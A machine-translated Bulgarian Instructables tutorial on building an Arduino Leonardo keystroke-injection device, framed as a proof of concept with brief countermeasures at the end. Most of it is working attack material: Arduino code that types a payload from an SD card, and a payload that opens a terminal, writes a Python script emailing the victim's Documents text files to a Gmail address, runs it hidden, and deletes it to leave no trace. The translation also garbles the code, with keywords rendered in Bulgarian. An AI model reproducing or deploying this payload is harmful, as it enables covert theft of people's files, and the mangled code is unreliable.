
Съдържание:
2025 Автор: John Day | [email protected]. Последно модифициран: 2025-01-23 14:36



В този проект ще използваме arduino leonardo, за да симулираме евентуална USB атака, използвайки HID (интерфейс за човешки интерфейс).
Създадох този урок не за да помогна на хакерите, а за да ви покажа някои реални опасности и как да защитите себе си от тези опасности. Това устройство не е устройство, което може да се използва на всяка платформа за хакери, то е по -скоро доказателство за концепцията в детайли.
Ще научим следното:
- как да използвате arduino leonardo за подражание на клавиатурата
- как да четете данни от SD карти
- как да създадете скрипт на python, който сканира файлове и ги изпраща по имейл
- как да защитите себе си от USB хакерски устройства
Стъпка 1: Материали
Части:
1. Ардуино леонардо
2. четец на micro USB карти
3. няколко GB SD карта
4. бутон като този (VCC, заземяване и сигнал)
5. женски-мъжки и женски-женски джъмперни кабели
6. микро USB към USB кабел
Стъпка 2: Изграждане на устройството

Преди инструкцията за изграждане нека прегледаме принципа на работа:
Arduino leonardo може да се държи като устройство с човешки интерфейс (HID) и следователно може да подражава на мишка и клавиатура. Ще използваме тази функция, за да отворим терминал (в UBUNTU linux) и да напишем малък скрипт, който ще има достъп /папка Документи в домашната папка на потребителя, копирайте.txt файловете там и ги изпратете на някого. Ако искате да научите повече подробности, проверете следващата стъпка.
Тъй като това е демо устройство, нещата са много прости, няма да запояваме нищо.
Инструкции за изграждане
Преди да започнем да проверяваме прикачените файлове, прикачих схеми за фритзинг и всички необходими файлове
1. Сглобете компонентите:
* включете микро USB кабела в arduino
* свържете ключовия превключвател към arduino (заземен, vcc и изходен модул към D8)
* свържете четеца на карти към arduino (използвайки ICSP заглавка). Arduino leonardo няма заглавката на ICSP, свързана с цифрови пинове, така че ще трябва да свържете четеца на карти към заглавката на ICSP. Можете да намерите някои чертежи на ICSP тук: https://learn.sparkfun.com/tutorials/installing-an…. Свържете SS щифта към цифровия щифт 10
2. вземете кода arduino, можете да клонирате моето хранилище на arduino в github: https://github.com/danionescu0/arduino и да отидете на projects/keyboard_exploit или да го получите отдолу:
#include "Keyboard.h"
#include "SPI.h" #include "SD.h" String filenameOnCard = "hack.txt"; Низ sleepCommandStartingPoint = "Сън::"; String commandStartingPoint = "Command::"; int delayBetweenCommands = 10; const int buttonPin = 8; const int chipSelect = 10; int previousButtonState = HIGH; void setup () {pinMode (buttonPin, INPUT); Serial.begin (9600); Keyboard.begin (); if (! SD.begin (chipSelect)) {Serial.println ("Картата е неуспешна или я няма!"); връщане; }} void loop () {int buttonState = digitalRead (buttonPin); if ((buttonState! = previousButtonState) && (buttonState == HIGH)) {sdFileToKeyboard (); Serial.println ("Качено!"); забавяне (500); } previousButtonState = buttonState; } void sdFileToKeyboard () {File dataFile = SD.open (filenameOnCard); if (! dataFile) {Serial.println ("Посоченото име на файл не присъства на SD картата, проверете filenameOnCard!"); } Низова линия; while (dataFile.available ()) {line = dataFile.readStringUntil ('\ n'); Serial.println (ред); sendToKeyboard (ред); } dataFile.close (); } void sendToKeyboard (String line) {String workingLine = line; if (workingLine.indexOf (sleepCommandStartingPoint)! = -1) {sleepFor (ред); връщане; } if (workingLine.indexOf (commandStartingPoint) == -1) {Serial.print ("Текст:"); Serial.println (ред); Keyboard.println (ред); натиснете Enter (); връщане; } Serial.println ("Команда:"); int charPosition = commandStartingPoint.length (); int lineLength = line.length (); workingLine += ","; while (workingLine! = "") {workingLine = workingLine.substring (charPosition); Serial.print ("WorkingLine:"); Serial.println (workingLine); int specialCommandDelimiterPosition = workingLine.indexOf (","); Низова команда = workingLine.substring (0, specialCommandDelimiterPosition); charPosition = specialCommandDelimiterPosition + 1; if (команда! = "") {Serial.print ("Команда е намерена:"); Serial.println (команда); Keyboard.press (getCommandCode (команда)); забавяне (delayBetweenCommands); }} Keyboard.releaseAll (); забавяне (delayBetweenCommands); } void pressEnter () {Keyboard.press (KEY_RETURN); Keyboard.releaseAll (); } void sleepFor (String line) {int sleepAmount = line.substring (sleepCommandStartingPoint.length (), line.length ()). toInt (); Serial.print ("Sleeping for:"); Serial.println (sleepAmount); забавяне (sleepAmount); } char getCommandCode (низов текст) {char textCharacters [2]; text.toCharArray (textCharacters, 2); char code = textCharacters [0]; код = (текст == "KEY_LEFT_CTRL")? KEY_LEFT_CTRL: код; код = (текст == "KEY_LEFT_SHIFT")? KEY_LEFT_SHIFT: код; код = (текст == "KEY_LEFT_ALT")? KEY_LEFT_ALT: код; код = (текст == "KEY_UP_ARROW")? KEY_UP_ARROW: код; код = (текст == "KEY_DOWN_ARROW")? KEY_DOWN_ARROW: код; код = (текст == "KEY_LEFT_ARROW")? KEY_LEFT_ARROW: код; код = (текст == "KEY_RIGHT_ARROW")? KEY_RIGHT_ARROW: код; код = (текст == "KEY_RIGHT_GUI")? KEY_RIGHT_GUI: код; код = (текст == "KEY_BACKSPACE")? KEY_BACKSPACE: код; код = (текст == "KEY_TAB")? KEY_TAB: код; код = (текст == "KEY_RETURN")? KEY_RETURN: код; код = (текст == "KEY_ESC")? KEY_ESC: код; код = (текст == "KEY_INSERT")? KEY_INSERT: код; код = (текст == "KEY_DELETE")? KEY_DELETE: код; код = (текст == "KEY_PAGE_UP")? KEY_PAGE_UP: код; код = (текст == "KEY_PAGE_DOWN")? KEY_PAGE_DOWN: код; код = (текст == "KEY_HOME")? KEY_HOME: код; код = (текст == "KEY_END")? KEY_END: код; код = (текст == "KEY_CAPS_LOCK")? KEY_CAPS_LOCK: код; код = (текст == "KEY_F1")? KEY_F1: код; код = (текст == "KEY_F2")? KEY_F2: код; код = (текст == "KEY_F3")? KEY_F3: код; код = (текст == "KEY_F4")? KEY_F4: код; код = (текст == "KEY_F5")? KEY_F5: код; код = (текст == "KEY_F6")? KEY_F6: код; код = (текст == "KEY_F7")? KEY_F7: код; код = (текст == "KEY_F8")? KEY_F8: код; код = (текст == "KEY_F9")? KEY_F9: код; код = (текст == "KEY_F10")? KEY_F10: код; код = (текст == "KEY_F11")? KEY_F1: код; код = (текст == "KEY_F12")? KEY_F2: код;
код за връщане;
}
3. Качете кода в arduino, не забравяйте да изберете 9600 бод скорост, сериен порт и arduino leonardo
4. Форматирайте sd картата с помощта на FAT16 или FAT32
5. Ако сте клонирали github repo отгоре, копирайте файла hack.txt на картата, ако файлът не е посочен по -долу:
Команда:: KEY_LEFT_CTRL, KEY_LEFT_ALT, tSleep:: 500 vi hack.py Sleep:: 300 Команда:: KEY_INSERT импортиране smtplib внос glob, os от os.path импортиращ потребител от имейл. MIMEText импортиране MIMEText от имейл. Помощни импортиране COMMASPACE, formatdate от имейл импортиране кодери
smtp_user = 'sender_gmail_address'
smtp_pass = 'sender_gmail_password' to_address = 'address_address' scan_documents_location = 'Документи'
subject = body = 'Файлове от хакнат компютър'
header = 'До: {0} nОт: {1} nПредмет: {2} n'.format (to_address, smtp_user, subject)
def sendMail (до, тема, текст, файлове = ):
msg = MIMEMultipart () msg ['From'] = smtp_user msg ['To'] = COMMASPACE.join (to) msg ['Date'] = formatdate (localtime = True) msg ['Subject'] = тема msg.attach (MIMEText (текст)) за файл във файлове: part = MIMEBase ('application', "octet-stream") part.set_payload (open (file, "rb"). Read ()) Encoders.encode_base64 (part) part. add_header ('Content-Disposition', 'attachment; filename = " % s"' % os.path.basename (файл)) msg.attach (част)
сървър = smtplib. SMTP ('smtp.gmail.com:587')
server.starttls () server.login (smtp_user, smtp_pass) server.sendmail (smtp_user, to, msg.as_string ()) server.quit ()
sendMail ([to_address], subject, body, glob.glob ("{0}/{1}/*. txt".format (expanduser ("~"), scan_documents_location)))
Sleep:: 50 Command:: KEY_ESC Sleep:: 100: x Sleep:: 500 nohup python hack.py & Sleep:: 700 rm -rf hack.py Sleep:: 400 Command:: KEY_LEFT_ALT, KEY_F4
6. Редактирайте следните редове:
smtp_user = 'изпращач_имейл_адр'
smtp_pass = 'sender_password' to_address = 'address_address'
И заменете с вашите имейл адреси
7. Извадете картата и я поставете в четеца на карти arduino
Стъпка 3: Как работи в подробности
Как ще действа атаката:
1. Когато бутонът е натиснат, leonardo ще прочете SD картата с помощта на четец на SD карти. На картата ще има специален файл, съдържащ ключове и комбинация от клавиши. Името на файла е "hack.txt".
Файлът може да съдържа необработен текст и той ще бъде предаден на клавиатурата така, както е.
Също така може да съдържа специални команди като "Sleep::" и "Command::".
Ред като:
Sleep:: 200 означава сън от 200 ms
Ред като:
Команда:: KEY_LEFT_CTRL, KEY_LEFT_ALT, t означава натиснат левия ctrl, натиснат левия alt, t натиснат и всички освободени
Можете да проверите всички специални ключове тук:
2. Леонардо ще чете ред по ред и ще интерпретира командите и подражава на клавишите на клавиатурата. Файлът "hack.txt" съдържа комбинация от ключове, която прави следното (за UBUNTU linux):
а. отваря терминал (CTRL + ALT + T)
б. отваря python файл за създаване с помощта на vi (пише "vi hack.py"
° С. пише скрипт на python вътре, който събира всички текстови файлове в домашната папка на документите и ги изпраща на определен gmail адрес
д. изпълнява файла във фонов режим ("nohup python hack.py &")
д. изтрива файла (rm -rf hack.py)
е. затваря терминала (ALT + F4)
Цялото това нещо тече за няколко секунди и не оставя следи.
Подобрения и отстраняване на неизправности
* Може да забележите, че след като отворя терминал, пиша python файла. по -добър начин за това ще бъде да го хоствате някъде и да го изтеглите с помощта на командата "wget some_url", след което да го преименувате на hack.py
* Също така можем да изтеглим или стартираме готов експлойт за целевата операционна система
* wifi може да бъде добавен към модула, а хаковете могат да бъдат качени чрез WIFI
* можете да използвате arduino micro (който е много по -малък) и да вградите експлойт код в него (за да го направите по -малък)
Ограничения
1. Тъй като симулираното устройство (клавиатура и мишка) няма никаква обратна връзка, ние не знаем какво ще се случи след издаване на команда, което означава, че трябва да използваме закъснения. Например издавам команда за отваряне на терминала, но не знам кога ще бъде действително отворен, така че трябва да посоча произволно забавяне, за да гарантирам, че въведените символи след това няма да бъдат загубени.
2. Може да срещнем проблеми с разрешенията като липса на достъп до USB порта или разрешение за инсталиране на нещо
3. Скоростта на писане не е толкова голяма при leonardo
4. Ще работи само с насочена операционна система (в нашия случай UBUNTU linux)
В следващата стъпка ще се опитаме да намерим начини да използваме тези ограничения, за да предотвратим хакването на компютъра ни
Стъпка 4: Противодействие
1. Деактивиране на USB портове
-за Windows можете да проверите този урок:
2. USB устройства в белия списък:
- за Windows:
2. Заключете компютъра си, когато не сте далеч
3. Не влизайте като root (изисквайте пароли за инсталиране на нещо)
4. Поддържайте актуалността си (включени са автоматичните актуализации)
Препоръчано:
Двойни 7 -сегментни дисплеи, контролирани от потенциометър в CircuitPython - Демонстрация на устойчивост на зрението: 9 стъпки (със снимки)

Двойни 7-сегментни дисплеи, контролирани от потенциометър в CircuitPython-Демонстрация на устойчивост на зрението: Този проект използва потенциометър за управление на дисплея на няколко 7-сегментни LED дисплея (F5161AH). Когато копчето на потенциометъра се завърти, показаният номер се променя в диапазона от 0 до 99. Във всеки момент свети само един светодиод, много кратко, но
Атмосферна лента Arduino/ MS5611 GY63 GY86 Демонстрация: 4 стъпки (със снимки)

Атмосферна лента Arduino/ MS5611 GY63 GY86 Демонстрация: Това наистина е барометър/ висотомер, но ще видите причината за заглавието, като погледнете видеоклипа. . В спокоен ден той ще измери вашето
Инструкции за експлоатация на нискотарифни каси за ръкавици: 6 стъпки

Инструкции за експлоатация на нискотарифни кутии за ръкавици: Целта на тази инструкция е да се запознае с инструкциите за експлоатация на евтината изследователска кутия за ръкавици, намиращи се на следната връзка: https://www.instructables.com/id/Low-Cost -Изследване … Необходими материали: · 1 ECOTech кутия за ръкавици
USB контролер за бас, високите и силата на звука със светодиоди за клавиатурата: 6 стъпки (със снимки)

USB контролер за баси, високи и силни звуци със светодиоди за клавиатурата: Имам Creative SoundBlaster Audigy в основния си настолен компютър и имах нужда от начин за бързо регулиране на настройките на басите и високите честоти (както и силата на звука) при слушане на аудио или видео носител . Адаптирах кода от два източника, дадени в
Интерфейс на клавиатурата с 8051 и показване на номера на клавиатурата в 7 сегмента: 4 стъпки (със снимки)

Интерфейс на клавиатурата с 8051 и показване на номера на клавиатурата в 7 сегмент: В този урок ще ви разкажа как можем да свържем клавиатурата с 8051 и да покажем номера на клавиатурата в 7 сегментен дисплей